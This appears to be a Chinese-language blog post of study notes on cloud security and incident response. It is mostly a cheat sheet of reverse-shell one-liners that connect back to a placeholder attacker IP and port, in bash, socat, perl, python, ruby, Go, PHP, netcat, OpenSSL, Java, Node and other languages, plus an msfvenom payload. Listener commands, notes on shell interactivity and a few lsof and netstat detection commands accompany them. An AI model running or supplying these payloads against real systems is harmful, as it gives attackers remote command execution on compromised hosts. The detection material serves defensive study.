开个新坑 最近学的云安全,偏向应急响应和内网渗透

一方面是记录下云安全的学习,另一方面会记录一下应急响应的知识

CWPP

云负载保护平台

集成了主机安全、容器安全、网页防篡改

可以理解为linux下的监控软件

反弹shell和检测

下文出现的attack_ip,attack_port即监听机 用于接收反弹的shell

在RCE后,反弹shell可以帮我们拿下一台主机的权限,为后续渗透利用打下基础

一句话

bash -i >& /dev/tcp/<attack_ip>/<attack_port> 0>&1
  • bash -i

    bash 一个shell应用

    -i 产生交互式shell

  • >&

    混合输出,将正确的,错误的结果都输出到一个地方——攻击者端

  • /dev/tcp/ip/port

    对该文件读写建立一个socket通信

  • 0>&1

    0表示输入,将Attack输入,命令执行结果为1,输出给攻击者,形成回路

如何检测?

使⽤lsof检测,如果出现了0 1 2 ⽂件描述符的重定位,则存在反弹shell的⻛险

lsof -n | grep ESTABLISHED |grep -E '0u|1u|2u'
netstat -atnlp

多种形式

UDP shell

监听

nc -u -lvvp <attack_port> -k

反弹

bash -i >& /dev/udp/<attack_ip>/<attack_port> 0>&1

Socat

nc加强版

可以支持众多协议和链接方式 如 IP、TCP、 UDP、

IPv6、PIPE、EXEC、System、Open、Proxy、Openssl、Socket等

经过测试 是能够强交互的 能够进行vim之类的操作

这么多复现下来貌似只有这个能够强交互

监听

socat file:`tty`,raw,echo=0 TCP-L:<attack_port>

反弹

socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:<attack_ip>:<attack_port>

ctrl + D 或者logout结束shell

需要支持的是安装socat

yum install -y socat

Socat运⾏有4个阶段:

  1. 初始化阶段:将解析命令⾏并初始化⽇志系统。
  2. 打开阶段:Socat打开第⼀个地址连接,然后打开第⼆个地址连接。如果第⼀个连接失败,则会直

接退出。

  1. 传输阶段:Socat通过CWselect()监视,当数据在⼀侧可⽤并且可以写到另⼀侧时,socat读取它,

并在需要时执⾏换⾏符转换,然后写⼊将该数据保存到另⼀个流的写⼊⽂件描述符中,然后继续等

待双向的更多数据。

  1. 关闭阶段:其中⼀个连接掉开,执⾏处理另外⼀个连接。

检测socat shell

lsof -n | grep ESTABLISHED |grep -E '*u'
#查看socat进程
ps aux|grep socat
ls -al /proc/93974/fd #查看进程号具体信息
lsof -n|grep 217744

Perl

⽆需安装,很多系统平台上已经默认安装了perl,有⼀些WebShell⼤⻢中会集成Perl反弹Shell这也是最常⻅反弹⼿法之⼀。

监听

nc -lvvp <attack_port> -k

反弹 依赖/bin/sh

perl -e 'use Socket;$i=
"<attack_ip>";$p=<attack_port>;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

反弹 不依赖

第一个是老版本 我测试下来已经不行了

perl -MIO -e '$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,"<attack_ip>:<attack_port>");STDIN->fdopen($c,r);$~>fdopen($c,w);system$_ while<>;'

new version!

收到监听后不会回显主机名之类的

perl -MIO::Socket::INET -e '$p=fork;exit,if($p);$c=IO::Socket::INET->new(PeerAddr=>"<attack_ip>:<attack_port>");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'

检测 Perl Shell

lsof -n | grep ESTABLISHED |grep -E '0u|1u|2u'

正常情况下就是没有,可以对比一下

截屏2024-05-30 15.46.31

python

监听

nc -lvvp <attack_port> -kf

反弹 注意python3还是python

export RHOST=
"<attack_ip>";export RPORT=<attack_port>;python3 -c 'import sys,socket,os,pty;s=socket.socket();s.connect((os.getenv("RHOST"),int(os.getenv("RPORT"))));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn("/bin/sh")'

另一种

python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("<attack_ip>",<attack_port>));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("/bin/bash")'

检测方法

lsof -n | grep ESTABLISHED |grep -E '0u|1u|2u'

Ruby

  • 安装了Ruby
  • Ruby 2.6
yum -y install ruby ruby-devel rubygems rpm-build

监听

nc -lvvp <attack_port> -k

反弹

ruby -rsocket -e 'exit if fork;c=TCPSocket.new("<attack_ip>","<attack_port>");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'

Golang

监听

nc -lvvp <attack_port> -k

反弹

echo 'package main;import"os/exec";import"net";func main(){c,_:=net.Dial("tcp","<attack_ip>:<attack_port>");cmd:=exec.Command("/bin/sh");cmd.Stdin=c;cmd.Stdout=c;cmd.Stderr=c;cmd.Run()}' > /tmp/t.go && go run /tmp/t.go && rm /tmp/t.go

PHP

反弹

失败了

php -r '$sock=fsockopen("<attack_ip>",<attack_port>);exec("/bin/sh -i <&3 >&3 2>&3");'

第二个

php -r '$sock=fsockopen("<attack_ip>",<attack_port>);$proc=proc_open("/bin/sh -i",array(0=>$sock, 1=>$sock, 2=>$sock),$pipes);'

Netcat Traditional

现代版本基本ban了

监听

nc -lvvp <attack_port> -k

反弹

nc -e /bin/bash <attack_ip> <attack_port>
nc -c bash <attack_ip> <attack_port>

检测

ps -ef
ls -al /proc/1882/fd #看进程

Netcat OpenBsd

Netcat OpenBsd使⽤场景,当各个linux发⾏版本已经⾃带了netcat⼯具包,但是可能由于处于安

全考虑原⽣版本的netcat带有可以直接发布与反弹本地shell的功能参数 -e这⾥都被阉割了。

rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc <attack_ip> <attack_port> >/tmp/f
  • mkfifo:创建⼀个管道

  • cat /tmp/f:将管道⾥⾯的内容输出传递给/bin/sh

  • /bin/sh -i 2>&1:sh会执⾏管道⾥的命令并将标准输出和标准错误输出结果通过nc 传到该管道,

    由此形成了⼀个回路

Ncat

nc和ncat的区别:只是采⽤不同的选项并具有不同的功能。

但是安装的Ncat有 -e参数了

ncat <attack_ip> <attack_port> -e /bin/bash

OpenSSL

常⽤的nc反弹流量都没有经过加密,容易被发现,使⽤ OpenSSL ⽣成证书⾃签名证书,通过mkfifo创

建⼀个管道将管道⾥⾯的内容输出传递给/bin/sh

监听

openssl req -x509 -newkey rsa:4096 -keyout key.pem -out cert.pem -days 365 -nodes
openssl s_server -quiet -key key.pem -cert cert.pem -port <attack_port>

#或者
ncat --ssl -vv -l -p <attack_port>

先生成自签名证书

反弹

mkfifo /tmp/s; /bin/sh -i < /tmp/s 2>&1 | openssl s_client -quiet -connect <attack_ip>:<attack_port> > /tmp/s; rm /tmp/s

AWK

未成功复现

awk 'BEGIN {s ="/inet/tcp/0/<attack_ip>/<attack_port>"; while(42) { do{ printf "shell>" |& s; s |& getline c; if(c){ while ((c |& getline) > 0) print $0 |& s; close(c); } } while(c !="exit") close(s); }}' /dev/null

Lua

安装luasocket

lua -e "require('socket');require('os');t=socket.tcp();t:connect('<attack_ip>','<attack_port>');os.execute('/bin/sh -i <&3 >&3 2>&3');"

Nodejs

node -e '(function(){var net = require("net"),cp = require("child_process"),sh = cp.spawn("/bin/sh", []);var client = new net.Socket();client.connect(<attack_port>,"<attack_ip>",function(){client.pipe(sh.stdin);sh.stdout.pipe(client);sh.stderr.pipe(client);});return /a/;})();'

JAVA

vim Exec.java
public class Exec {
  public static void main(String[] args)throws Exception {
      Runtime r = Runtime.getRuntime();
      Process p = r.exec(new String[]{"/bin/bash","-c","exec
5<>/dev/tcp/<attack_ip>/<attack_port>;cat <&5 | while read line; do $line 2>&5
>&5; done"});
      p.waitFor();
  }
}
javac Exec.java
java Exec

Cpan

cpan 命令是⽤于与Perl下的CPAN模块进⾏交互的⼀个命令⾏⼯具。

cpan use Socket; my $i= "<attack_ip>"; my $p=<attack_port>; socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp")); if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN, ">&S"); open(STDOUT, ">&S"); open(STDERR, ">&S"); exec("/bin/sh -i");}

gdb

监听

socat file:`tty`,raw,echo=0 tcp-listen:<attack_port>

反弹

gdb -nx -ex 'python import sys,socket,os,pty; s=socket.socket(); s.connect(("<attack_ip>", <attack_port>)); [os.dup2(s.fileno(), fd) for fd in (0, 1, 2)]; pty.spawn("/bin/sh")' -ex quitx

还是没法强交互

easy_install

监听

socat file:`tty`,raw,echo=0 tcp-listen:<attack_port>

反弹

export RHOST='<attack_ip>'
export RPORT=<attack_port>
TF=$(mktemp -d)
echo 'import sys,socket,os,pty;s=socket.socket() \
s.connect((os.getenv("RHOST"),int(os.getenv("RPORT"))))\
[os.dup2(s.fileno(),fd) for fd in (0,1,2)] \
pty.spawn("/bin/sh")' > $TF/setup.py
easy_install $TF

IRB

export RHOST='<attack_ip>'
export RPORT=<attack_port>
irb
require 'socket'; exit if
fork;c=TCPSocket.new(ENV["RHOST"],ENV["RPORT"]);while(cmd=c.gets);IO.popen(cmd,
"r")
{|io|c.print io.read} end

JJS

export RHOST=<attack_ip>
export RPORT=<attack_port>
echo 'var host=Java.type("java.lang.System").getenv("RHOST");
var port=Java.type("java.lang.System").getenv("RPORT");
var ProcessBuilder = Java.type("java.lang.ProcessBuilder");
var p=new ProcessBuilder("/bin/bash"
,
"-i").redirectErrorStream(true).start();
var Socket = Java.type("java.net.Socket");
var s=new Socket(host,port);
var pi=p.getInputStream(),pe=p.getErrorStream(),si=s.getInputStream();
var po=p.getOutputStream(),so=s.getOutputStream();while(!s.isClosed()){
while(pi.available()>0)so.write(pi.read()); while(pe.available()>0)so.write(pe.read());
while(si.available()>0)po.write(si.read()); so.flush();po.flush();
Java.type("java.lang.Thread").sleep(50); try {p.exitValue();break;}catch (e)
{}};p.destroy();s.close();' | jjs

jrunscript

export RHOST=<attack_ip>
export RPORT=<attack_port>
jrunscript -e 'var host='"'""$RHOST""'"'; var port='"$RPORT"';var p=new java.lang.ProcessBuilder("/bin/bash","-i").redirectErrorStream(true).start();var s=new java.net.Socket(host,port);var pi=p.getInputStream(),pe=p.getErrorStream(),si=s.getInputStream();var po=p.getOutputStream(),so=s.getOutputStream();while(!s.isClosed()){while(pi.available()>0)so.write(pi.read());while(pe.available()>0)so.write(pe.read());while(si.available()>0)po.write(si.read());so.flush();po.flush();java.lang.Thread.sleep(50);try {p.exitValue();break;}catch (e){}};p.destroy();s.close();'

ksh

ksh -c 'ksh -i > /dev/tcp/<attack_ip>/<attack_port> 2>&1 0>&1'

MSF

msf shell

msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=192.168.3.6 LPORT=4242 -f elf > reverse.elf

接收shell注意事项

yakit接收

这边部署了一下公网上的yakit,效果不错

上文提到很多shell没法强交互,比如用vim之类的操作;这样会导致渗透的时候比较麻烦。

而yakit该工具能方便的开启tcp监听,同时所有的shell均有良好的交互性

当然 yakit不止于此,是个很强大的工具

不过不建议在国内服务器部署 安全组的确比较麻烦人

安全组

有安全组的实例要先打开安全组

进程阻塞

有的shell利用会导致网站进程阻塞,避免测试麻烦,可以考虑将shell进程转入后台运行

挺多种办法的。

nohup <cmd> &

安全声明

本文内容仅供学习参考